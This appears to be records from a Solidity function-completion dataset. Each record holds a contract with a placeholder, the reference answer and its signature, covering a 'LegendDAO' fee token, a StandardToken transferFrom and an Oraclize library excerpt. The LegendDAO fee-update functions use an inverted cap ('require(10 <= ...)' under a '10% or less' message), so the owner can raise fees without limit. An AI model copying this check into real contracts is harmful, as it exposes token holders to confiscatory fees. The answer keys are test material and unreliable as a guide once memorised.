if(airDropLimitInEffect){ return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100); } return _airDropTokensRemaining[holder]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when sell if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } // airdrop limits if(airDropLimitInEffect){ // Check if Limit is in effect if(airDropLimitLiftDate <= block.timestamp){ airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded } else { uint256 senderBalance = balanceOf(from); // get total token balance of sender if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){ require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date."); uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days // a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens. // the check a few lines up ensures no subtraction overflows so it can never be a negative value. uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance); require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."); _airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract); _airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example. } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (bool success,) = address(marketingWallet).call{value: ethForMarketing}(""); (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){ (success,) = address(marketingWallet).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner {<FILL_FUNCTION_BODY> } }
contract LegendDAO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public buyBackWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; // airdrop limits to prevent airdrop dump to protect new investors mapping(address => uint256) public _airDropAddressNextSellDate; mapping(address => uint256) public _airDropTokensRemaining; uint256 public airDropLimitLiftDate; bool public airDropLimitInEffect; mapping (address => bool) public _isAirdoppedWallet; mapping (address => uint256) public _airDroppedTokenAmount; uint256 public airDropDailySellPerc; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("LegendDAO", "LGND") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 8; uint256 _buyLiquidityFee = 2; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 1; uint256 _sellBuyBackFee = 1; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 500; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 100; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot airdrop after launch."); require(airdropWallets.length == amounts.length, "arrays must be the same length"); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input. for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _isAirdoppedWallet[wallet] = true; _airDroppedTokenAmount[wallet] = amount; _airDropTokensRemaining[wallet] = amount; _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1); _transfer(msg.sender, wallet, amount); } return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(10 <= buyTotalFees, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(10 <= sellTotalFees, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function getWalletMaxAirdropSell(address holder) public view returns (uint256){ if(airDropLimitInEffect){ return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100); } return _airDropTokensRemaining[holder]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when sell if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } // airdrop limits if(airDropLimitInEffect){ // Check if Limit is in effect if(airDropLimitLiftDate <= block.timestamp){ airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded } else { uint256 senderBalance = balanceOf(from); // get total token balance of sender if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){ require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date."); uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days // a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens. // the check a few lines up ensures no subtraction overflows so it can never be a negative value. uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance); require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."); _airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract); _airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example. } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (bool success,) = address(marketingWallet).call{value: ethForMarketing}(""); (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){ (success,) = address(marketingWallet).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } <FILL_FUNCTION> }
// generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(ethAmountInWei);
function buyBackTokens(uint256 ethAmountInWei) external onlyOwner
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner
62770
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
68372
usingOraclize
ecrecovery
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return 